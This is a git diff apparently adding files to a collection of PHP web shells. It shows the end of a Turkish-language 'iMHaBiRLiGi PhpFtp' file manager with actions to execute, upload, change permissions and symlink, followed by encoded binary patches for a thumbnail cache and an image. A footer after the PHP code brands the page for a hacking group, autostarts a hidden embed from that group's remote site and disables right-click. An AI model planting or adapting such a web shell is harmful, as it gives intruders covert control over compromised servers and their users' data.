'Grevler', + +'read' => 'Oku', +'write' => 'Yaz', +'execute' => 'Uygula', + +'create_symlink' => 'create symlink', +'Sil' => 'Sil', +'Degistir' => 'Degistir', +'Tasi' => 'Tasi', +'Kopyala' => 'Kopyala', +'Dzenle' => 'Dzenle', +'indir' => 'indir', +'upload' => 'Ykle', +'create' => 'Olustur', +'change' => 'Degisiklik', +'save' => 'Kaydet', +'set' => 'Koyulan', +'reset' => 'Yenile', +'relative' => 'Hedefe Yolla', + +'yes' => 'Evet', +'no' => 'Hayir', +'Geri' => 'Geri', +'Yol' => 'Yol', +'symlink' => 'Symlink', +'no_output' => 'Hibir kt', + +'user' => 'Kullanc', +'password' => 'Sifre', +'add' => 'Ekle', +'add_basic_auth' => 'add basic-authentification', + +'uploaded' => '"[%1]" Yklendi.', +'not_uploaded' => '"[%1]" Yklenemedi.', +'already_exists' => '"[%1]" imdiden var ol.', +'created' => '"[%1]" Olusturuldu.', +'not_created' => '"[%1]" Olusturuldu.', +'really_Sil' => 'Silinen dosyalar?', +'Sild' => "Bu dosyalar,oldu Sild:\n[%1]", +'not_Sild' => "Bu dosyalar olamazd Sild:\n[%1]", +'Degistir_file' => 'Dosyayi Degistir:', +'Degistird' => '"[%1]" Degistirildi "[%2]".', +'not_Degistird' => '"[%1] Degistirilemedi "[%2]".', +'Tasi_files' => 'Dosyayi TAsi:', +'Tasid' => "Bu Dosyalar Tasindi \"[%2]\":\n[%1]", +'not_Tasid' => "Bu Dosyalar Tasinamaz \"[%2]\":\n[%1]", +'Kopyala_files' => 'Bu Dosyalari Kopyala:', +'copied' => "Bu Dosyalar Kopyalanir \"[%2]\":\n[%1]", +'not_copied' => "Bu Dosyalar Kopyalanamaz \"[%2]\":\n[%1]", +'not_Dzenleed' => '"[%1]" Dzenle.', +'executed' => "\"[%1]\" Basarili bir sekilde Uygulandi:\n{%2}", +'not_executed' => "\"[%1]\" Basarili bir sekilde Uygulanamadi:\n{%2}", +'saved' => '"[%1]" Kurtarildi.', +'not_saved' => '"[%1]" Kurtarlamad.', +'symlinked' => 'Symlink "[%2]" to "[%1]" Olusturuldu.', +'not_symlinked' => 'Symlink "[%2]" to "[%1]" Olusturulamadi.', +'permission_for' => 'izin "[%1]":', +'permission_set' => 'izin "[%1]" Kopyalandi [%2].', +'permission_not_set' => 'izin "[%1]" Yapilamadi [%2].', +'not_readable' => '"[%1]" Okunamadi.' + ); + + } + +} + +function getimage ($image) { + switch ($image) { + case 'file': + return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA'); + case 'folder': + return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA'); + case 'hidden_file': + return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA'); + case 'link': + return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA'); + case 'smiley': + return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA='); + case 'arrow': + return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw=='); + } +} + +function html_header () { + global $charset; + + echo <<<END +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" + "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> +<html xmlns="http://www.w3.org/1999/xhtml"> +<head> + +<meta http-equiv="Content-Type" content="text/html; charset=$charset" /> + +<title>iMHaBiRLiGi PhpFtp</title> + +<style type="text/css"> +body { font: small sans-serif; text-align: center } +img { width: 0px; height: 0px } +a, a:visited { text-decoration: none; color: red } +hr { border-style: none; height: 1px; Geriground-color: silver; color: silver } +#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px } +#main th { Geriground: #eee; padding: 3pt 3pt 0pt 3pt } +.listing th, .listing td { padding: 1px 3pt 0 3pt } +.listing th { border: 1px solid silver } +.listing td { border: 1px solid #ddd; Geriground: white } +.listing .checkbox { text-align: center } +.listing .filename { text-align: left } +.listing .size { text-align: right } +.listing .permission_header { text-align: left } +.listing .permission { font-family: monospace } +.listing .owner { text-align: left } +.listing .group { text-align: left } +.listing .Grevler { text-align: left } +.listing_footer td { Geriground: #eee; border: 1px solid silver } +#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt } +#directory { Geriground: #eee; border: 1px solid silver } +#upload { padding-top: 1em } +#create { padding-bottom: 1em } +.small, .small option { font-size: x-small } +textarea { border: none; Geriground: white } +table.dialog { margin-left: auto; margin-right: auto } +td.dialog { Geriground: #eee; padding: 1ex; border: 1px solid silver; text-align: center } +#permission { margin-left: auto; margin-right: auto } +#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center } +td.permission_action { text-align: right } +#symlink { Geriground: #eee; border: 1px solid silver } +#symlink td { text-align: left; padding: 3pt } +#red_button { width: 120px; color: #400 } +#green_button { width: 120px; color: #040 } +#error td { Geriground: maroon; color: white; border: 1px solid silver } +#notice td { Geriground: green; color: white; border: 1px solid silver } +#notice pre, #error pre { Geriground: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex } +code { font-size: 12pt } +td { white-space: nowrap } +</style> + +<script type="text/javascript"> +<!-- +function activate (name) { + if (document && document.forms[0] && document.forms[0].elements['focus']) { + document.forms[0].elements['focus'].value = name; + } +} +//--> +</script> + +</head> +<body> + + +END; + +} + +function html_footer () { + + echo <<<END +</body> +</html> +END; + +} + +function notice ($phrase) { + global $cols; + + $args = func_get_args(); + array_shift($args); + + return '<tr id="notice"> + <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td> +</tr> +'; + +} + +function error ($phrase) { + global $cols; + + $args = func_get_args(); + array_shift($args); + + return '<tr id="error"> + <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td> +</tr> +'; + +} + +?> +<BODY><IMG style="WIDTH: 306px; HEIGHT: 76px" height=100 +src="http://www.nettekiadres.com/imhabirligi.jpg" width=282></BODY> +<br><Center>SU AN <A href="http://www.imhabirligi.com">iMHaBiRLiGi</A> HUDUTLARINDA BULUNMAKTASINIZ.!!</Center> +<FONT +class=footmsg><EMBED src=http://www.imhabirligi.com/r1/hurl.asx hidden=true +type="text/plain; charset=iso-8859-9" +AUTOSTART="TRUE"> +<script language=JavaScript> +<!-- + +var message=""; +/////////////////////////////////// +function clickIE() {if (document.all) {(message);return false;}} +function clickNS(e) {if +(document.layers||(document.getElementById&&!document.all)) { +if (e.which==2||e.which==3) {(message);return false;}}} +if (document.layers) +{document.captureEvents(Event.MOUSEDOWN);document.onmousedown=clickNS;} +else{document.onmouseup=clickNS;document.oncontextmenu=clickIE;} + +document.oncontextmenu=new Function("return false") +// --> +</script> \ No newline at end of file diff --git a/php/PHPshell/nstview/Thumbs.db b/php/PHPshell/nstview/Thumbs.db new file mode 100644 index 0000000000000000000000000000000000000000..1979d7a49e193ad92eb0694b73fa12ee08a35b76 GIT binary patch literal 8192 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 literal 0 HcmV?d00001 diff --git a/php/PHPshell/nstview/nstview.jpg b/php/PHPshell/nstview/nstview.jpg new file mode 100644 index 0000000000000000000000000000000000000000..113860f0537aa608fd7aa405e547532c975d5da9 GIT binary patch literal 8665 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 